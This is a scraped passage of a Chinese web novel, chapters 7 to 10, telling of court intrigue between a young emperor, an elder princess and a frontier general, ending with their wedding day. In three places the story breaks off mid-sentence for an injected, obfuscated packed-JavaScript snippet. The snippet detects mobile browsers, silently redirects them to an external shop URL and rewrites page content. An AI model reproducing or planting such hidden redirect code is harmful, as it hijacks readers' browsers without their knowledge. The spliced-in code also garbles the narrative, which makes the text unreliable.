少帝以为支开他就能为所欲为?错了。他燕云徹从来不是任人摆布的棋子。这盘棋,少帝以为自己执子先行,却不知,真正的棋手,早就布好了局。 夜色渐深,北风呼啸。燕云徹收起护心符,眼中温柔褪去,只剩下战场杀伐的冷冽。 “传令,”他对身边的亲兵说,“子时一到,随我出城。” “是!” 城楼下,三万铁骑整装待发。夜色中,只能看见一片黑压压的人影,和偶尔闪过的兵器寒光。但那股肃杀之气,却让整个雁门关都为之震颤。 这是燕云徹在北境三年带出的铁军。他们不认圣旨,不认皇权,只认燕云徹一人。 今夜之后,这支军队将再次名震天下。 而洛安城中的少帝,还在做着掌控一切的美梦。 他不知道,他招惹的,是怎样一个人。 子时将至。燕云徹翻身上马,玄色披风在风中猎猎作响。他最后望了一眼南方的天空——那是洛安的方向,是明仪所在的方向。 “等我。”他低声说,然后拔剑出鞘,剑指前方,“出发!” 三万铁骑如潮水般涌出城门,杀向蛮族营地。这场仗,从一开始就注定了结局。 因为他们的将军,要赶着回去娶亲。 所以,必须赢,必须快。 北境的夜空下,烽火再起。而千里之外的洛安城中,明仪站在观星台上,望着北方隐约可见的火光,手中紧握那枚护心符。 “我等你。”她轻声说,“无论多久,我都等你。” 夜色深沉,但黎明终将到来。 而他们的婚礼,也终将如期举行。 谁也不能阻止。 7. 第七章 朝堂暗局 朝会之上,少帝明昭端坐龙椅,面色阴沉。距离他下旨让燕云徹北上已过去五日,原以为那三万大军会拖住燕云徹至少一月,却没想到前线昨日传来急报——燕云徹率军夜袭蛮族大营,斩首两千,俘获八百,蛮族残部已溃退三百里。 这一仗打得快如闪电,干净利落。更让少帝心惊的是,军报中只字未提燕云徹何时班师回朝。 “陛下,”兵部尚书出列奏报,“镇北侯此战大捷,北境暂安。按例当论功行赏,只是……” 他迟疑片刻:“只是镇北侯奏报中言,需清剿蛮族残部,以防春耕时节再犯。故请旨暂留北境,待彻底平定后方回朝。” 少帝脸色更加难看。暂留北境?燕云徹这是要拖延时间,还是另有图谋? “准奏。”少帝咬牙道,“命镇北侯务必在两个月内肃清北境,不得延误。” “臣遵旨。”兵部尚书退下。 这时,礼部尚书王珩出列,他是王珩之父,也是朝中老臣。他拱手道:“陛下,北境虽暂安,但和亲之事仍需尽早定夺。蛮族使者昨日又递来国书,言其首领年事已高,若能在今春迎娶大蒙公主,必能永结盟好。” 少帝眼中闪过一丝算计。燕云徹被拖在北境,正是推进和亲的好时机。 “此事朕已知晓。”少帝淡淡道,“礼部可着手准备……” “陛下,臣有本奏。” 一个苍老而沉稳的声音打断少帝的话。众人循声望去,只见御史大夫沈怀远出列。他是三朝元老,德高望重,连少帝也要敬他三分。 “沈爱卿请讲。”少帝耐着性子道。 沈怀远缓缓道:“臣近日听闻,北境蛮族内部权力不稳。首领阿史那律年迈,其三个儿子为争位内斗不休。此番要求和亲,实为阿史那律欲借大蒙之势,巩固自身地位。” 他顿了顿,继续道:“臣还听闻,蛮族使者私下透露,若和亲公主并非真心归顺,恐引发部落内部哗变。届时不仅盟约不成,反可能激化矛盾,再生战端。” 此言一出,朝堂一片哗然。 少帝眉头紧皱:“沈爱卿此言可有依据?” “臣有蛮族商贾为证。”沈怀远从袖中取出一份文书,“此乃蛮族商队首领口供,言阿史那律三个儿子各拥部众,势同水火。此时和亲,若处理不当,恐适得其反。” 少帝接过内侍递上的文书,快速浏览。文书上详细记载了蛮族内部的权力斗争,甚至提到了阿史那律长子私下联络其他部落,意图逼父退位。 “此事……”少帝沉吟。 这时,钦天监监正出列:“陛下,臣昨夜观星象,见紫微星旁有暗星侵扰,恐主后宫不宁。且臣按和亲公主生辰八字推算,未来三个月内,女主远行,于国不利。” 少帝看向监正:“如何不利?” “按星象推算,若强行推进和亲,恐引发北方兵祸,甚至……”监正顿了顿,压低声音,“甚至可能动摇国本。” 这话说得极重。动摇国本,那是指可能引发内乱,危及皇权。 少帝脸色变了变。他虽想借和亲除掉明仪,但若因此引发战乱甚至内乱,那就得不偿失了。 “钦天监可有化解之法?”少帝问。 监正拱手:“需待煞星退散,吉星高照之时。臣推算,最快也需待镇北侯凯旋,以其战场煞气护持,方可保和亲顺利,不引祸端。” 这话说得巧妙——要等燕云徹回来,用他的“煞气”镇住可能引发的祸乱。表面是为国考虑,实则把和亲与燕云徹的归来绑在了一起。 少帝沉默不语。他看向朝中众臣,只见许多人都在点头,显然认同钦天监的说法。大蒙重天象,信占卜,钦天监的话有极大的分量。 “既如此,”少帝缓缓道,“和亲之事暂缓,待镇北侯凯旋后再议。” 他顿了顿,补充道:“传旨镇北侯,命其尽快肃清北境,早日班师。” “陛下圣明!”众臣齐声道。 长公主府,书房。 明仪听完郑沉的禀报,嘴角泛起一丝淡淡的笑意。沈怀远是她的老师,也是她父亲当年的心腹。钦天监监正虽非她的人,但她知道监正与沈怀远交好,且监正本人笃信星象,最忌惮引发天怒人怨之事。 她只是让沈怀远“无意间”透露蛮族内部不稳的消息,再让监正“如实”推算星象。剩下的,少帝自己会想明白。 一个怕担责的帝王,最容易被这种“为国为民”的理由说服。 “侯爷那边有消息吗?”明仪问。 “有。”郑沉低声道,“侯爷传信,十日内必归。他让公主做好准备,婚期……照旧。” “照旧?”明仪挑眉,“可婚期只剩十三日了。” “侯爷说,足够了。”郑沉眼中闪过一丝钦佩,“他已在回程路上,日夜兼程。算算时间,正好能在婚期前三日赶回。” 明仪心中一动。燕云徹果然早有安排。他表面上在北境清剿残部,实则已经动身回程。少帝的圣旨,根本困不住他。 “城外大军呢?”明仪又问。 “已按侯爷吩咐,分批次秘密入城。”郑沉道,“如今洛安城中,已有五千镇北军精锐化整为零,潜伏各处。只要侯爷一声令下,半个时辰内就能控制全城。” 明仪倒吸一口凉气。五千精锐潜入洛安,少帝竟然毫无察觉。燕云徹的能耐,远比她想象的还要大。 “公主不必担心。”郑沉看出她的震惊,“侯爷说了,这只是防备之策。若非万不得已,他不会动用这支力量。他要的,是堂堂正正娶您为妻,不是兵变夺权。” 明仪点头。她了解燕云徹。他有能力掀翻这朝堂,但他不会那么做。他要的,是少帝心甘情愿赐婚,是天下人认可他们的婚事。 他要给她一个堂堂正正的名分,而不是让她背负“祸国红颜”的骂名。 “我知道了。”明仪说,“你退下吧。有任何消息,立刻禀报。” “是。”郑沉行礼退下。 明仪走到窗前,望着远处的宫城。少帝此刻一定在紫宸殿中发怒,却又无可奈何。他以为自己是执棋人,却不知自己早已成了棋子。 这场博弈,从三年前燕云徹请命北上时,就已经开始了。少帝走的每一步,都在燕云徹的算计之中。 而她,只需要等待。等待她的将军归来,等待那场迟到了八年的婚礼。 紫宸殿中,少帝果然在发怒。 “废物!都是废物!”他一把掀翻御案上的奏折,“蛮族内乱?星象不利?这等荒唐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129432|196195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 理由,也能让朕推迟和亲?” 殿内内侍跪了一地,无人敢出声。 少帝来回踱步,眼中满是阴鸷。他怎么会看不出来,今日朝堂上那一出,分明是有人在背后操纵。沈怀远,钦天监,甚至那些附和的大臣…… “查!”少帝猛地停下脚步,“给朕查清楚,沈怀远最近和谁接触过!钦天监又收了谁的好处!” “陛下息怒。”一个低沉的声音响起。 少帝转身,只见一个身着黑袍的老者从屏风后走出。那人面容枯槁,眼神却锐利如鹰。他是少帝的谋士,也是先帝留给他的心腹——国师玄机子。 “国师。”少帝勉强压下怒火,“今日之事,你怎么看?” 玄机子缓缓道:“陛下,沈怀远是三朝元老,门生故吏遍布朝堂。钦天监监正虽与他交好,但更信星象天命。今日他们所言,未必全是受人指使。” “你的意思是,蛮族内乱是真?星象不利也是真?”少帝皱眉。 “蛮族内乱,确有迹象。”玄机子道,“老臣安排在蛮族的细作也曾传回类似消息。至于星象……” 他顿了顿:“钦天监监正为人古板,最重天象。他若说星象不利,那便是真不利。强行逆天而行,恐生变数。” 少帝沉默。玄机子的话,他不得不信。这位国师在先帝时就以料事如神著称,从未出错。 “那和亲之事……”少帝不甘道。 “暂缓未必是坏事。”玄机子眼中闪过一丝精光,“陛下,镇北侯燕云徹此战大捷,声威更盛。若此时强行推进和亲,逼长公主就范,恐激起燕云徹反叛。” 他走近几步,压低声音:“燕云徹手握重兵,在北境根基深厚。若他真反了,陛下有几分把握能镇压?” 少帝脸色一白。他虽忌惮燕云徹,但也知道燕云徹的能耐。北境三年,燕云徹带出了一支只听他号令的铁军。若真打起来…… “国师的意思是?”少帝问。 “等。”玄机子缓缓道,“等燕云徹回朝,看他如何行事。若他安分守己,陛下便赐婚,施恩于他,将他绑在朝堂之上。若他心怀不轨……” 玄机子眼中寒光一闪:“老臣自有办法对付他。” 少帝沉吟片刻,终于点头:“就依国师所言。” 他走到窗前,望着长公主府的方向,眼中闪过一丝狠厉:“姑母,燕云徹,你们以为赢了这一局?错了,游戏……才刚刚开始。” 七日后,北境传来捷报:燕云徹率军追击蛮族残部八百里,于阴山脚下全歼敌军,俘获蛮族首领阿史那律次子。北境之患,彻底平定。 同日,燕云徹上奏:臣已完成陛下所托,肃清北境。现率军班师,预计五日后抵京。 消息传回洛安,朝野震动。少帝在紫宸殿中摔了最心爱的玉镇纸,却不得不下旨褒奖,命礼部准备迎接功臣凯旋。 长公主府中,明仪接到密信:燕云徹已至洛安城外五十里,明日便可入城。 她握着那枚护心符,嘴角终于扬起真心的笑容。 他做到了。二十日的承诺,他提前了三日。 明日,他就要回来了。 他们的婚礼,终于可以如期举行了。 这一夜,明仪睡得格外安稳。 8. 第八章 暗室重逢 翌日清晨,洛安城被薄雾笼罩。城门外,礼部官员已按规制列队等候,准备迎接镇北侯凯旋。城内街道两旁,百姓自发聚集,都想一睹这位传奇将军的风采。 长公主府的马车却从侧门悄无声息地驶出,绕开主街,直奔镇北侯府。 车内,明仪身着素色宫装,面上覆着轻纱,神色平静。郑沉驾着车,低声禀报:“公主,侯爷昨日深夜已秘密入城,现正在府中等候。” 明仪指尖微微收紧:“少帝的人可有察觉?” “侯爷用了替身。”郑沉道,“大军仍在城外三十里扎营,那个替身也坐在军中主帐内。少帝派来的眼线都被蒙在鼓里。” 明仪点头,心中对燕云徹的缜密又多了几分佩服。这个人,永远比她想象中准备得更周全。 马车停在镇北侯府后门。这里僻静无人,只有两名身着便装的侍卫静立等候。见到明仪下车,他们立即单膝跪地:“参见长公主。” “起来吧。”明仪淡淡道,“侯爷在何处?” “在书房等候。”其中一人起身,引路前行,“公主请随我来。” 镇北侯府是历代侯爷袭爵时先帝所赐,占地广阔,庭院深深。但府中仆从稀少,一路行来,明仪只见寥寥几个下人,且都是训练有素的模样,见到她时恭敬行礼,目不斜视。 书房位于府邸最深处,周围竹林环绕,清幽僻静。引路侍卫在院门外停步:“侯爷吩咐,请公主独自入内。” 郑沉皱眉,正要开口,明仪抬手制止:“你们在此等候。” 她推门而入,院中空无一人。书房的门虚掩着,透出微弱烛光。 明仪站在院中,忽然有些迟疑。 她深吸一口气,推开了书房的门。 室内烛光昏暗,一个高大的身影背对着她站在窗前。那人未着戎装,只穿一身墨色常服,但肩背挺拔如松,正是她熟悉的样子。 听到开门声,那人缓缓转过身来。 “臣,参见长公主。”燕云徹躬身行礼,声音低沉平稳。 明仪挺直脊背,恢复了往日的矜持:“侯爷免礼。本宫今日前来,是代陛下慰问功臣。” 她说着冠冕堂皇的话,目光却无法从他脸上移开。 燕云徹直起身,依旧保持着君臣之间的距离:“谢陛下隆恩,谢长公主亲临。” 两人对视着,空气中有种莫名的紧绷。 明仪强迫自己移开视线,打量着书房陈设。这里简洁到近乎空旷,除了书案和几个书架,几乎没有什么摆设。案上堆着军报和地图,墙上挂着一副北境舆图,上面密密麻麻标注着各种符号。 烛光跳跃,在她眼中映出细碎的光。 燕云徹沉默片刻,终于向前走了两步。距离拉近,明仪能看清他眼中压抑的情绪,能闻到他身上淡淡的皂角清香,混杂着一丝若有若无的硝烟气息。 “臣……”他开口,声音比刚才低哑了几分,“这几日,让公主受苦了。” 他从袖中取出一样东西,摊在掌心。 那是一枚护心符,边缘已被摩挲得光滑圆润,红绳也有些褪色,但保存得极好。 明仪的视线落在那枚护心符上,指尖不受控制地微微颤抖。是她亲手所绣的护心符,他还保留着,珍贵着,针脚并不精致,背面还笨拙地绣了一个“仪”字。 “这几日,臣都将它贴身佩戴。”燕云徹的声音很轻,却字字沉重,“每当看到它,臣就想起洛安城中,还有人在等臣回来。” 明仪伸出手,指尖轻轻触到护心符。那上面似乎还残留着他的体温。 “臣回来了。”燕云徹低声说,只有四个字,却重如千钧。 没有多余的话,没有夸张的誓言。 明仪抬眼看他,眼眶终于红了。那些年在宫中受的委屈,在朝堂上面对的压力,对远方的担忧,所有情绪在这一刻汹涌而来,几乎要将她淹没。 她强迫自己冷静,深吸一口气:“回来就好。婚期将至,侯爷当早做准备。” 说着,她转身想走。她怕再多待一刻,就会控制不住情绪。 手腕却被人轻轻握住。 燕云徹的掌心温热,带着常年握剑留下的薄茧。那触感让明仪浑身一颤,想抽回手,却被他握得更紧。 “明仪。”他第二次唤她的名字,不是“公主”,不是“殿下”,而是“明仪”。 明仪僵在原地,背对着他,不敢回头。 “八年了。”燕云徹的声音近在耳畔,“过去我每天都在想,回来见你时该说什么。想告诉你北境的风雪有多大,想告诉你我打了多少胜仗,想告诉你我如何一步步掌握兵权,如何布局谋划。” 他的另一只手也轻轻握住她的肩,将她转过来面对自己。 “但真的见到你,我才发现,那些都不重要。”燕云徹低头看她,眼中是从未在人前显露过的深情,“重要的是你安好,重要的是我终于能履行当年的承诺。” 明仪看着他,泪终于滑落:“你知道这八年,我是怎么过的吗?朝堂上那些人虎视眈眈,少帝的猜忌一日重过一日。我不仅要保全自己,还要保全你在朝中的势力,保全那些追随你的旧部……” “我知道。”燕云徹抬手,拇指轻轻擦去她的泪。 他顿了顿,声音更加低沉:“三年前我请命北上,一是为了掌握兵权,二是为了远离洛安,让少帝放松警惕。但我最不放心的,就是把你一个人留在虎狼环伺的京城。” 明仪摇头:“我没事。我有自保的能力。” “你有。”燕云徹承认,“但我不该让你独自承担这些。” 他的话语坚定,握着她的手也紧了紧。 烛光将两人的影子投在墙上,交叠在一起,不分彼此。书房里很静,静得能听到彼此的呼吸声。 明仪终于不再压抑情绪,抬手轻抚他的脸颊。那里有一道淡淡的疤痕,从鬓角延伸到下颌,是新伤。 “这是怎么回事?”她问。 “这次夜袭,被流箭所伤。”燕云徹轻描淡写,“不碍事。” 明仪的指尖在那道疤痕上停留,心中一阵抽痛。她知道,这轻描淡写的一句话背后,是无数生死一线的时刻。 “还有多少伤是我不知道的?”她轻声问。 燕云徹握住她的手,贴在胸前:“都是皮外伤,早就好了。倒是你,”他仔细端详她的脸,“瘦了。是不是又经常熬夜了?” 明仪破涕为笑:“你怎么知道?” “郑沉会定期向我禀报你的情况。”燕云徹坦白,“我知道你每夜读书到子时,知道你不爱吃御膳房送的甜食,知道你在御花园种了一片木兰,因为那是我母亲最爱的花。” 明仪惊讶地睁大眼睛:“你连这些都知道?” “关于你的一切,我都想知道。”燕云徹的眼神深邃,“即使相隔千里,我也要知道你过得好不好,开不开心,需不需要我。” 这一刻,所有的伪装都卸下了。 明仪靠进他怀里,听着他沉稳的心跳声,感到前所未有的安心。 燕云徹紧紧拥住她,下颌轻抵她的发顶,深深吸气,仿佛要将她的气息刻入骨髓。 “明仪,”他低声说,“我不会再离开你了。这次回来,无论发生什么,我都会在你身边。” 明仪在他怀中点头,泪水浸湿了他的衣襟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129433|196195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 良久,两人才缓缓分开。燕云徹仍握着她的手,不舍放开。 “少帝那边,你有什么打算?”明仪问起正事,“他虽暂时让步,但绝不会善罢甘休。” 燕云徹眼神冷了下来:“我知道。他以为用和亲可以牵制你,用北境战事可以拖住我。但他不知道,从他下旨命我北上的那一刻起,就已经入了我的局。” 他拉着明仪走到北境舆图前:“这三年来,我不仅平定了蛮族,还在北境建立了完整的防御体系,培养了一支完全听命于我的铁军。更重要的是,我掌握了蛮族内部的权力脉络。” 他指着图上几个标记:“阿史那律的三个儿子,长子与我有密约,只要我支持他上位,他愿与大蒙永结盟好,十年不犯边。次子如今在我手中,是三子暗算他被我所救,现在对我感恩戴德。” 明仪震惊:“你早就布局好了?” “从三年前开始。”燕云徹点头,“我知道少帝迟早会对我们下手,所以必须早做准备。北境是我的退路,也是我的筹码。” 他转向明仪,目光坚定:“但现在,我不需要退路了。我要堂堂正正娶你,要少帝亲自赐婚,要天下人都知道,你是我燕云徹的妻子。” 明仪心中涌起暖流,但理智仍在:“少帝不会轻易同意的。他忌惮你的兵权,更忌惮我们联姻后的势力。” “所以需要一场戏。”燕云徹眼中闪过一丝算计,“一场让少帝不得不赐婚,让朝臣无话可说,让天下人都觉得理所应当的戏。” “什么戏?” 燕云徹低头在她耳边低声说了几句。明仪先是惊讶,随即了然,最后眼中也浮现出笑意。 “你真是……”她摇头,“这么大胆的计划。” “为了娶你,再大胆也值得。”燕云徹认真道,“之后的一切,按计划进行。” 明仪点头,忽然想起什么:“国师玄机子,你需小心。他是少帝的心腹,深不可测。” “玄机子……”燕云徹沉吟,“我查过他。此人来历神秘,在先帝时期突然出现,得先帝重用。我怀疑他与前朝余孽有关,但尚无确凿证据。” “前朝?”明仪蹙眉。 “只是一种猜测。”燕云徹道,“无论如何,我会小心。倒是你,在婚期前要格外注意安全。我已安排人手暗中保护你,郑沉也会加强公主府的守卫。” “我明白。” 两人又商议了一些细节,时间不知不觉过去。窗外天色渐暗,郑沉在院外轻咳一声,提醒时辰已晚。 明仪该走了。 离别在即,两人都有些不舍。燕云徹再次将明仪拥入怀中,这次吻轻轻落在她的额头。 最终,明仪还是离开了书房。走出院门时,她回头看了一眼,燕云徹站在门内,烛光为他镀上一层金边,眼神温柔而坚定。 马车缓缓驶离镇北侯府,明仪握着那枚被他贴身佩戴八年的护心符,心中满是暖意。 与此同时,皇宫紫宸殿中,少帝也未入睡。他面前摊开着北境军报和蛮族内乱的密报,眉头紧锁。 玄机子坐在下首,闭目养神。 “国师,”少帝终于开口,“燕云徹回城,朕该如何应对?” 玄机子缓缓睁眼:“陛下不必忧虑。老臣已有安排,定让燕云徹有来无回。” “哦?”少帝眼中闪过厉色,“国师有何妙计?” 玄机子微微一笑,那笑容冰冷而诡异:“陛下只需在宴上按老臣说的做,其余之事,老臣自会安排。” 少帝盯着他看了片刻,终于点头:“好,朕就信国师这一次。” 夜色深沉,洛安城表面平静,暗地里却暗流汹涌。 9. 第九章 中秋宫宴 中秋夜,皇宫张灯结彩,笙歌不绝。 明仪身着绛紫色宫装,头戴九尾凤钗,端坐于少帝左下首。她的位置极为微妙,既是长公主之尊,又因尚未婚配,不算真正的皇室女眷。少帝这般安排,刻意模糊她的身份,暗含贬抑之意。 燕云徹坐在武将之首,与明仪相隔三席。他今日未着戎装,一身墨蓝锦袍,玉带束腰,少了战场上的杀伐之气,多了几分世家公子的清贵。但那双眼睛,依旧锐利如鹰,偶尔扫过全场,便让有心人心中发寒。 酒过三巡,少帝举杯,笑意不达眼底:“今日中秋佳节,君臣同乐。朕特命人准备了‘献宝’环节,诸位爱卿若有什么新奇物件,不妨呈上一观,以增雅兴。” 话音甫落,礼部尚书王珩之子王珣便起身出列。这青年约莫二十出头,面容清秀,眼神却透着几分倨傲。 “陛下,臣近日得了一幅星象图,据说是前朝司天监遗宝,能窥天机,测国运。特此献上,愿大蒙国泰民安,永享太平。” 两名内侍展开一幅长卷,上面绘着繁复星宿,标注着密密麻麻的注解。最引人注目的是图中央的批注:“紫微星明,女主退散,国运方昌。” 席间顿时响起窃窃私语。谁都听得出来,这“女主”二字,直指明仪。 明仪端着酒杯,指尖微微发白,面上却仍是云淡风轻。 少帝故作惊讶:“哦?此图竟有如此玄妙?王爱卿从何处得来?” 王珣躬身道:“回陛下,此图乃臣从一西域商人手中购得。那商人说,此图是前朝司天监为避战祸,藏于敦煌石窟,近日方才现世。”他顿了顿,抬眼看向明仪,“图中所示,与近日某些‘星象不利’之说截然相反。臣以为,天意昭昭,不可妄测,更不可……以私心曲解。” 这话已是赤裸裸的指控。 燕云徹握着酒杯的手微微收紧,目光冷了下来。 明仪却笑了。她轻轻放下酒杯,声音清越如玉石相击:“王公子此言差矣。星象之道,博大精深,岂是一幅来历不明的图卷所能尽述?更何况……” 她起身,缓步走到星象图前,仔细端详片刻,忽然伸手一指:“此处,昴宿位置偏移三分;此处,北辰星光标注有误;此处更可笑,前朝司天监的印鉴,用的是天启年的官印,但天启三年,司天监改制,官印早已更换。这幅图,最多不过是天启二年所绘,何来‘遗宝’之说?” 王珣脸色一变:“长公主慎言!此图经过多位名家鉴定……” “名家?”明仪转身,目光扫过席间几位曾为少帝说话的文臣,“可是这几位‘名家’?他们连前朝官制更迭都不知,也配称名家?” 那几位大臣面红耳赤,不敢接话。 少帝沉声道:“姑母,今日宫宴,不必如此较真。” “陛下,”明仪面向少帝,神色肃然,“不是臣要较真,而是有人要借天象之名,行构陷之实。若此风一开,日后人人都可伪造天意,惑乱朝纲,我大蒙国本何存?” 她顿了顿,声音陡然转厉:“更何况,真正的天象,臣近日请钦天监监正重新推算过,北方煞星未退,内有暗流涌动。不是‘女主退散’,而是‘外患未平,内忧将起’!” “长公主此言何意?”王珣忍不住质问。 明仪直视他,一字一顿:“本宫的意思是,北境蛮族之所以屡犯边境,不仅因其觊觎中原富庶,更因……我朝中有人私通外敌,输送粮草军械,养寇自重!” 满堂哗然。 少帝猛地站起身:“姑母!此话可不能乱说!” “臣有证据。”燕云徹忽然开口。 所有人的目光瞬间聚焦在他身上。 燕云徹缓缓起身,从怀中取出一封密信,双手呈上:“陛下,臣此次北征,在蛮族副首领帐中截获此信。信中详细记录了去岁至今,中原某世家通过边城商队,向蛮族输送铁器三千斤、粮草五千石、盐二百担。更有甚者......” 他抬眼,目光如刀,直刺王珣:“信中提及,该世家承诺,若蛮族今秋南下,他们可在洛安制造混乱,里应外合。” “血口喷人!”王珣脸色煞白,“镇北侯,你休要诬陷忠良!” “是不是诬陷,一看便知。”燕云徹将信交给内侍,“信末有该世家子的私印。陛下不妨让诸位大臣都看看,这印章,可眼熟?” 内侍将信呈给少帝,少帝展开一看,脸色顿时铁青。那印章的纹样,分明是太原王氏的家徽,而落款处的花押,正是王珣惯用的标记。 王珩早已瘫坐在席上,面如死灰。 “这……这不可能!”王珣冲上前想夺信,被侍卫拦住,“这是假的!一定是燕云徹伪造的!他嫉妒我王家得陛下重用,故意陷害!” “王公子说笑了。”明仪冷冷道,“镇北侯若要陷害,何须等到今日?他在北境三年,若要伪造证据,早就伪造了。何必等到凯旋回朝,在众目睽睽之下呈上?” 她转向少帝,躬身道:“陛下,此事关系国本,必须严查。臣建议,即刻查封王家在洛安的所有商铺、府邸,彻查其账目往来。若确有其事,当按通敌叛国罪论处。若是冤枉……” 她顿了顿,看向燕云徹:“镇北侯愿承担诬告之责。” 燕云徹单膝跪地:“臣愿以项上人头担保,此信千真万确。陛下若不信,可传边城守将张猛、商队首领胡四海等人进京对质。这些人证,臣已命人护送,三日后便可抵京。” 一击致命。 少帝握着那封信,手背青筋暴起。他死死盯着燕云徹,又看看明仪,终于明白...... 今晚这场戏,从头到尾都是这对君臣……不,这对男女设的局。 王家是他一手扶植,用来制衡明仪的棋子。如今这棋子不仅废了,还成了通敌叛国的罪人。若他执意袒护,便是昏君;若他严惩,便是自断臂膀。 好一个燕云徹,好一个明仪。 沉默良久,少帝终于开口,声音沙哑:“传朕旨意,太原王氏王珣,涉嫌私通外敌,即日起押入天牢,候审。王氏在洛安所有产业,由刑部、大理寺、御史台三司会查。在查清之前,王氏一族不得离京。” “陛下圣明。”明仪和燕云徹同时躬身。 一场中秋宫宴,不欢而散。 宴后,明仪并未直接回府,而是去了御花园的观星台。这是她小时候常来的地方,先帝在世时,常抱着她在这里认星星。 夜风微凉,吹起她的衣袂。 “殿下。” 身后传来熟悉的声音。明仪没有回头,只是望着夜空中的明月:“侯爷今日好手段。” 燕云徹走到她身侧,也望向那轮明月:“是公主引蛇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17129434|196195||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出洞在前,臣不过是递了一把刀。” “王家不会这么容易倒下。”明仪轻声道,“少帝今晚被迫处置王珣,心中定然怨恨。接下来,他会更疯狂。” “那就让他来。”燕云徹转头看她,月光下,她的侧脸如玉雕般精致,“臣说过,这次回来,不会再让任何人伤害你。” 明仪终于看向他,眼中映着月色:“今日你当众拿出证据,等于彻底与少帝撕破脸。接下来,他不会容你。” “他何时容过臣?”燕云徹轻笑,“从三年前他让臣去北境送死,到如今设局逼你和亲,他何曾容过臣,又何曾容过你?” 他伸出手,指尖轻轻拂去她鬓边被风吹乱的发丝:“殿下,我们不能再等了。婚期就在十日后,这一次,无论如何,我都要娶你。” 明仪握住他的手,那掌心温热而粗糙,带着常年握剑留下的茧。这双手,曾斩敌无数,也曾在她最无助时,隔着千山万水,递来唯一的温暖。 “好。”她只说了一个字,却重如千钧。 两人并肩立于观星台上,远处宫宴的灯火渐次熄灭,洛安城沉入夜色。但暗流从未停歇,反而愈发汹涌。 三日后,边城人证抵京,王珣通敌之事证据确凿,王家被抄。少帝为了自保,不得不下旨将王珣斩首,王氏一族流放三千里。 朝堂震动,世家胆寒。 而与此同时,另一道旨意也从紫宸殿发出——钦天监重新推算,十日后是黄道吉日,宜婚嫁。 陛下感念镇北侯功勋,长公主贤德,特赐婚二人,于十日后完婚。 圣旨传到长公主府时,明仪正在绣嫁衣。 最后一针落下,她抚过衣上精致的鸾凤,眼中终于有了真切的笑意。 八年了。 原本被她救下,留在身边的暗卫,如今已磨砺封侯,终于要娶她回家了。 大婚前夜,燕云徹秘密来到长公主府。 这一次,没有君臣之礼,没有伪装试探。他翻窗而入时,明仪正对镜卸妆,从镜中看到他,也只是微微一笑:“侯爷越发熟练了。” “来见自己的妻子,何须走正门?”燕云徹走到她身后,接过她手中的玉梳,轻轻梳理她如瀑的长发。 铜镜中,两人身影交叠,宛若画中仙侣。 “明日之后,洛安怕是再无宁日。”明仪轻声道。 “那就让暴风雨来得更猛烈些。”燕云徹俯身,在她耳边低语,“殿下,我想要的,从来不是这虚假的太平。我要的,是一个能让你安然度日、不必时时算计的天下。” 他握住她的手,十指相扣:“若这朝堂容不下我们,我们就重建一个朝堂。若这天下不容我们,我们就打下一个天下。” 明仪转身,望进他深邃的眼眸:“无论你去哪里,我都跟你去。” 窗外,月色正好。 窗内,有情人终成眷属。 而洛安的深夜,暗卫密报如雪片般飞入皇宫。少帝在紫宸殿中,对着沙盘上的棋子,眼中满是血丝。 他的对面,国师玄机子缓缓落下一枚黑子。 “陛下,明日大婚,便是收网之时。” 少帝冷笑:“朕倒要看看,这场婚礼,他们能不能办成。” 棋盘上,白子已被黑子重重包围。 但棋局之外,对决才刚刚开始。 10. 第十章 大婚之日 次日,长公主大婚。 今日的洛安城,从清晨起便浸在喜庆的红色里。长公主府至镇北侯府的五里长街铺上了红毡,两侧朱栏系着彩绸,百姓们早早聚在街旁,想一睹这场迟来八年的盛世婚礼。 镇北侯府中,正厅已布置成婚堂。堂前悬挂着金线绣制的双喜字幅,两侧立着六对儿臂粗的龙凤喜烛,烛火摇曳,映得满堂生辉。正中供桌上,摆放着太庙请来的祖宗牌位,以及少帝亲赐的婚书,那朱砂御印在烛光下猩红如血。 燕云徹寅时便起身,在宗祠中行了告祖礼。他身着玄色婚服,这颜色是少帝特赐的恩典,按制,侯爵婚服当用深紫,但少帝以“镇北侯功勋卓著”为由,特准用亲王规格的玄色。表面是殊荣,实则暗藏玄机:若来日燕云徹有半点错处,这“僭越”之罪便能置他于死地。 “侯爷,吉时将至。”老管家低声提醒。 燕云徹从祖宗牌位前起身,目光扫过那些燕氏先祖的名字,最后落在最上方,那是之前在荒年死于荒乱的父亲的灵位。 “父亲,”他轻声说,“今日,儿子终于要娶儿子一直心有所属的人了。” 门外传来礼乐声,迎亲的时辰到了。 长公主府中,明仪已梳妆完毕。 